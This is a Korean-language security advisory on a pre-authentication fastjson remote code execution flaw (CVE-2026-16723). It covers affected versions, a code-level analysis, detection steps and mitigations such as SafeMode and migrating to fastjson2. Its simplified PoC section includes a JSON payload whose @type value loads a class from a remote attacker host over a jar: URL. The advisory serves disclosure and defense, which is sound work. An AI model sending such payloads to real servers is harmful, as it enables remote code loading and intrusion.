SK쉴더스 로고
ADT캡스캡스홈
SK쉴더스

fastjson 미인증 원격 코드 실행 (CVE-2026-16723)

EQST Now | 2026.07.24

NOW Briefing

Brief 1 Alibaba fastjson 1.2.68부터 1.2.83까지의 버전에서 미인증 공격자가 조작한 JSON 한 건만으로 서버에서 원격 코드 실행(RCE)을 일으킬 수 있는 CVE-2026-16723이 공개됐습니다. fastjson은 국내 다수 Java·Spring 백엔드에 내장된 표준급 JSON 처리 라이브러리입니다.
Brief 2 autoType 비활성화와 classpath gadget(역직렬화 공격에 악용되는 클래스 조각) 부재라는 기존 방어 전제가 무력화됩니다. @JSONType annotation 탐지 경로와 jar URL class loading을 엮어, 기본 구성(SafeMode 미활성) 그대로도 원격 코드를 불러오기 때문입니다.
Brief 3 gadget 제거 또는 blocklist 확장만으로는 충분하지 않습니다. fastjson SafeMode를 활성화하거나 fastjson2로 이관하고, 애플리케이션 서버의 불필요한 outbound HTTP 연결을 차단해야 합니다.

fastjson 미인증 원격 코드 실행 (CVE-2026-16723)

■ 개요

fastjson은 Alibaba가 개발한 고성능 Java용 JSON 직렬화·역직렬화 라이브러리입니다. 국내외 상당수 Spring Boot 백엔드에 기본 의존성으로 포함돼 있어, 외부 입력 JSON을 객체로 변환하는 대부분의 API 엔드포인트가 잠재적 공격 표면이 됩니다. CVE-2026-16723은 fastjson 1.2.68부터 1.2.83까지의 1.x 계열에 영향을 주는 사전 인증 원격 코드 실행 취약점입니다.

이 공격 표면 때문에 인증 없이 도달 가능한 요청 하나로 서버에서 임의 코드가 실행될 수 있습니다. 과거 fastjson 역직렬화 공격은 autoType 기능을 켰거나 classpath에 악용 가능한 gadget이 있을 때만 성립했습니다. 하지만 이번 건은 NVD 설명 기준으로 기본 구성 그대로, autoType 활성화나 별도 gadget 없이 그 두 전제를 모두 우회합니다.

이 우회 특성 때문에 기존 방어책이 무력화돼 우선순위가 높습니다. gadget 의존성을 제거하거나 역직렬화 차단 목록을 늘리는 방식으로는 막히지 않습니다. 공개 개념 증명 코드와 상세 기술 분석이 이미 배포된 상태이며, 노출된 인스턴스 규모가 넓어 실무 대응 압박이 큽니다. 다만 성립 조건은 존재하므로, 자사 환경이 조건에 해당하는지부터 확인해야 합니다.

■ 요약

항목 내용
CVE ID CVE-2026-16723 (fastjson 사전 인증 원격 코드 실행)
CVSS 점수 CVSS v3.1 9.0 / Critical (AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
취약점 유형 CWE-502: Deserialization of Untrusted Data, CWE-20: Improper Input Validation
영향 • 사전 인증 상태에서 원격 코드 실행 가능
• autoType 비활성화 및 gadget 부재 조건에서도 성립
• JDK 9 이상 환경에서는 SSRF로 저하되는 경우 존재
취약 버전 fastjson 1.2.68~1.2.83 (SafeMode 비활성화 기본값). fastjson 1.2.60 이하 및 fastjson2는 영향 없음
대응·패치 1.2.x 계열 패치는 제공되지 않습니다. SafeMode 활성화 또는 fastjson2 이관이 필요합니다.

■ 기술 분석

이 우회는 fastjson이 @type 필드로 지정된 클래스명을 처리하는 과정에서 발생합니다. 라이브러리는 입력받은 타입명이 @JSONType annotation이 붙은 클래스인지 bytecode 단계에서 탐지하는 구조입니다. 이 탐지 경로는 autoType 제한보다 먼저 클래스 로딩을 허용하므로, autoType을 꺼둬도 같은 경로에서 로딩이 발생합니다.

두 번째 축은 클래스명을 리소스 경로로 바꾸는 처리입니다. 연구자 분석 기준, ParserConfig의 클래스 로딩 로직은 타입명의 ./로 치환해 .class 리소스로 불러옵니다. Spring Boot fat-jar(단일 실행 JAR로 packaging된 배포) 환경의 class loader는 jar: protocol을 해석해 원격 URL에서 리소스를 가져옵니다. 공격자는 . 치환을 역이용해 정상 클래스명처럼 보이는 문자열을 jar URL로 재조립하고, 외부 서버에서 악성 bytecode를 내려받게 만듭니다.

// ParserConfig.java (1.2.83) - @JSONType 탐지 경로가 로딩을 허용
if (autoTypeSupport || jsonType || expectClassFlag) {
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheCache);
}
// ... 생략 ...
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
}

📌 NOTE

이 공격은 Spring Boot fat-jar 배포에서 쓰이는 LaunchedURLClassLoader에 의존합니다.
WAR로 배포된 애플리케이션은 이 원격 로딩 경로가 성립하지 않습니다.
JDK 8에서는 완전한 코드 실행으로, JDK 9 이상에서는 조건에 따라 SSRF 수준으로 저하되는 경우가 관측됐습니다.

■ PoC

공개 PoC는 두 조각으로 나뉩니다. 공격자가 만드는 것은 @type에 원격 클래스를 가리키는 타입명을 실은 JSON 한 건이고, 이를 터뜨리는 피해자 측 동작은 그 JSON을 객체로 바꾸는 평범한 역직렬화 호출입니다. 정상적인 클래스명처럼 보이는 타입명이 공격의 핵심이며, 고정 DTO로 파싱해도 타입명 탐지 단계에서 로딩이 일어나므로 DTO 바인딩은 방어가 되지 못합니다.

// [공격자 산출물] @type에 원격 클래스를 가리키는 타입명을 실음 (무기화 로직 제외)
// fastjson은 타입명의 '.'를 '/'로 치환하고 ".class"를 붙여 리소스로 로딩함 -> 이 성질을 역이용:
//   jar:http:..attacker:8000.probe!.POC
//     -> jar:http://attacker:8000/probe!/POC.class   (원격 jar 속 클래스로 재조립)
String payload = "{\"@type\":\"jar:http:..attacker:8000.probe!.POC\",\"x\":1}";

// [피해자 정상 호출] 고정 DTO 바인딩이라도 @type 탐지 단계에서 로딩이 발생
Dto dto = JSON.parseObject(payload, Dto.class);

위 코드는 실제 exploit이 아니라 공개 PoC의 핵심 관점만 방어적으로 단순화한 예시입니다. 여기 실린 payload는 원격 JAR을 여는 probe 단계까지이며, 완전한 코드 실행에는 추가 단계가 더 필요합니다. 악성 클래스 생성, 실행 명령 삽입, JDK 9 이상 우회 sequence 같은 무기화 로직은 의도적으로 제외했습니다.

⚠️ WARN

로그에 명령 실행 흔적이 없더라도 영향 버전을 fat-jar로 운영했다면 노출된 것으로 간주해야 합니다.
페이로드는 인증 이전 단계에서 처리되는 임의의 JSON 입력 지점 어디든 삽입될 수 있습니다.

■ 탐지 및 점검

• Maven 또는 Gradle 의존성 트리를 확인해 fastjson 1.2.68~1.2.83 사용 여부를 식별합니다. 예를 들어 mvn dependency:tree 또는 gradle dependencies 결과에서 com.alibaba:fastjson 항목을 확인합니다.

• JVM system property fastjson.parser.safeMode 또는 애플리케이션 코드의 ParserConfig.setSafeMode(true) 적용 여부를 점검합니다.

• Spring Boot fat-jar로 배포되고 JDK 8 위에서 동작하는 서비스를 우선 위험군으로 분류합니다.

• 요청 본문에서 @type 값이 jar:, !/, 반복된 . 패턴을 포함하는지 탐지합니다.

• 애플리케이션 서버에서 외부 HTTP 서버로 향하는 비정상 outbound 연결을 점검합니다. 원격 jar 또는 class 리소스 로딩 시도가 네트워크 로그에 남을 수 있습니다.

■ 대응 방안

• 영향이 확인된 버전은 fastjson2 이관을 최우선으로 검토합니다. 1.2.x 계열에는 이 문제를 해결하는 별도 보안 패치 버전이 없습니다.

• 당장 이관이 어렵다면 SafeMode를 활성화해 @type 기반 클래스 로딩 자체를 차단합니다.

• 애플리케이션 서버의 불필요한 outbound HTTP 접근을 firewall·egress 정책으로 차단해 원격 클래스 로딩 경로를 끊습니다.

• 노출이 의심되는 인스턴스는 침해로 간주하고 자격증명·비밀값을 폐기·재발급하며 프로세스·산출물을 점검합니다.

💡 TIP

gadget 제거나 역직렬화 차단 목록 확장은 이번 취약점에 효과가 없습니다.
방어의 실질적 축은 SafeMode 활성화 또는 fastjson2 이관, 아웃바운드 차단입니다.

[참고 자료]

SecurityOnline - Public PoC Exploit Released for fastjson 1.2.83 RCE

NVD - CVE-2026-16723

lorexxar.cn - fastjson 1.2.83 RCE 기술 분석

GitHub - fastjson-jsontype-rce-lab

  • #EQST_NOW
  • #취약점

관련 서비스

더 많은 보안 인사이트

SK쉴더스 유튜브 채널에서 확인하세요.

SK쉴더스 유튜브 채널에서 확인하세요.
보안 트렌드와 대응방법

매월 뉴스레터로 확인하세요.

매월 뉴스레터로 확인하세요.